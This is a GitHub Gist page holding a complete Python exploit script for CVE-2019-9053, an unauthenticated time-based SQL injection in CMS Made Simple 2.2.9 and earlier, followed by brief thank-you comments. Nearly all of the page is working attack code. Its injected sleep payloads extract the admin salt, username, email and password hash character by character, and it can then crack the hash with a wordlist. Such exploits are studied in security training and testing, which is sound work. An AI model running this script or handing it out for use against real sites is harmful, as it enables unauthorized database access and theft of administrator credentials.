Created
June 14, 2019 15:48
-
-
Save pdelteil/6ebac2290a6fb33eea1af194485a22b1 to your computer and use it in GitHub Desktop.
CMS made simple SQL Injection
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# Exploit Title: Unauthenticated SQL Injection on CMS Made Simple <= 2.2.9 | |
# Date: 30-03-2019 | |
# Exploit Author: Daniele Scanu @ Certimeter Group | |
# Vendor Homepage: https://www.cmsmadesimple.org/ | |
# Software Link: https://www.cmsmadesimple.org/downloads/cmsms/ | |
# Version: <= 2.2.9 | |
# Tested on: Ubuntu 18.04 LTS | |
# CVE : CVE-2019-9053 | |
import requests | |
from termcolor import colored | |
import time | |
from termcolor import cprint | |
import optparse | |
import hashlib | |
parser = optparse.OptionParser() | |
parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri (ex. http://10.10.10.100/cms)") | |
parser.add_option('-w', '--wordlist', action="store", dest="wordlist", help="Wordlist for crack admin password") | |
parser.add_option('-c', '--crack', action="store_true", dest="cracking", help="Crack password with wordlist", default=False) | |
options, args = parser.parse_args() | |
if not options.url: | |
print "[+] Specify an url target" | |
print "[+] Example usage (no cracking password): exploit.py -u http://target-uri" | |
print "[+] Example usage (with cracking password): exploit.py -u http://target-uri --crack -w /path-wordlist" | |
print "[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based." | |
exit() | |
url_vuln = options.url + '/moduleinterface.php?mact=News,m1_,default,0' | |
session = requests.Session() | |
dictionary = '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@._-$' | |
flag = True | |
password = "" | |
temp_password = "" | |
TIME = 2 | |
db_name = "" | |
output = "" | |
email = "" | |
delay=0.5 | |
salt = '' | |
wordlist = "" | |
if options.wordlist: | |
wordlist += options.wordlist | |
def crack_password(): | |
global password | |
global output | |
global wordlist | |
global salt | |
dict = open(wordlist) | |
for line in dict.readlines(): | |
line = line.replace("\n", "") | |
beautify_print_try(line) | |
if hashlib.md5(str(salt) + line).hexdigest() == password: | |
output += "\n[+] Password cracked: " + line | |
break | |
dict.close() | |
def beautify_print_try(value): | |
global output | |
print "\033c" | |
cprint(output,'green', attrs=['bold']) | |
cprint('[*] Try: ' + value, 'red', attrs=['bold']) | |
def beautify_print(): | |
global output | |
print "\033c" | |
cprint(output,'green', attrs=['bold']) | |
def dump_salt(): | |
global flag | |
global salt | |
global output | |
ord_salt = "" | |
ord_salt_temp = "" | |
while flag: | |
flag = False | |
for i in range(0, len(dictionary)): | |
temp_salt = salt + dictionary[i] | |
ord_salt_temp = ord_salt + hex(ord(dictionary[i]))[2:] | |
beautify_print_try(temp_salt) | |
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_siteprefs+where+sitepref_value+like+0x" + ord_salt_temp + "25+and+sitepref_name+like+0x736974656d61736b)+--+" | |
url = url_vuln + "&m1_idlist=" + payload | |
start_time = time.time() | |
r = session.get(url) | |
elapsed_time = time.time() - start_time | |
if elapsed_time >= TIME: | |
flag = True | |
break | |
time.sleep(delay) | |
if flag: | |
salt = temp_salt | |
ord_salt = ord_salt_temp | |
flag = True | |
output += '\n[+] Salt for password found: ' + salt | |
def dump_password(): | |
global flag | |
global password | |
global output | |
ord_password = "" | |
ord_password_temp = "" | |
while flag: | |
flag = False | |
for i in range(0, len(dictionary)): | |
temp_password = password + dictionary[i] | |
ord_password_temp = ord_password + hex(ord(dictionary[i]))[2:] | |
beautify_print_try(temp_password) | |
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users" | |
payload += "+where+password+like+0x" + ord_password_temp + "25+and+user_id+like+0x31)+--+" | |
url = url_vuln + "&m1_idlist=" + payload | |
start_time = time.time() | |
r = session.get(url) | |
elapsed_time = time.time() - start_time | |
if elapsed_time >= TIME: | |
flag = True | |
break | |
time.sleep(delay) | |
if flag: | |
password = temp_password | |
ord_password = ord_password_temp | |
flag = True | |
output += '\n[+] Password found: ' + password | |
def dump_username(): | |
global flag | |
global db_name | |
global output | |
ord_db_name = "" | |
ord_db_name_temp = "" | |
while flag: | |
flag = False | |
for i in range(0, len(dictionary)): | |
temp_db_name = db_name + dictionary[i] | |
ord_db_name_temp = ord_db_name + hex(ord(dictionary[i]))[2:] | |
beautify_print_try(temp_db_name) | |
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+username+like+0x" + ord_db_name_temp + "25+and+user_id+like+0x31)+--+" | |
url = url_vuln + "&m1_idlist=" + payload | |
start_time = time.time() | |
r = session.get(url) | |
elapsed_time = time.time() - start_time | |
if elapsed_time >= TIME: | |
flag = True | |
break | |
time.sleep(delay) | |
if flag: | |
db_name = temp_db_name | |
ord_db_name = ord_db_name_temp | |
output += '\n[+] Username found: ' + db_name | |
flag = True | |
def dump_email(): | |
global flag | |
global email | |
global output | |
ord_email = "" | |
ord_email_temp = "" | |
while flag: | |
flag = False | |
for i in range(0, len(dictionary)): | |
temp_email = email + dictionary[i] | |
ord_email_temp = ord_email + hex(ord(dictionary[i]))[2:] | |
beautify_print_try(temp_email) | |
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+email+like+0x" + ord_email_temp + "25+and+user_id+like+0x31)+--+" | |
url = url_vuln + "&m1_idlist=" + payload | |
start_time = time.time() | |
r = session.get(url) | |
elapsed_time = time.time() - start_time | |
if elapsed_time >= TIME: | |
flag = True | |
break | |
time.sleep(delay) | |
if flag: | |
email = temp_email | |
ord_email = ord_email_temp | |
output += '\n[+] Email found: ' + email | |
flag = True | |
dump_salt() | |
dump_username() | |
dump_email() | |
dump_password() | |
if options.cracking: | |
print colored("[*] Now try to crack password") | |
crack_password() | |
This was very helpful. I'm trying to learn Python myself and sometimes it gets so confusing. This really helped to clear things up. Thank you.
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
This was a good explanation of the exploit, nice work!!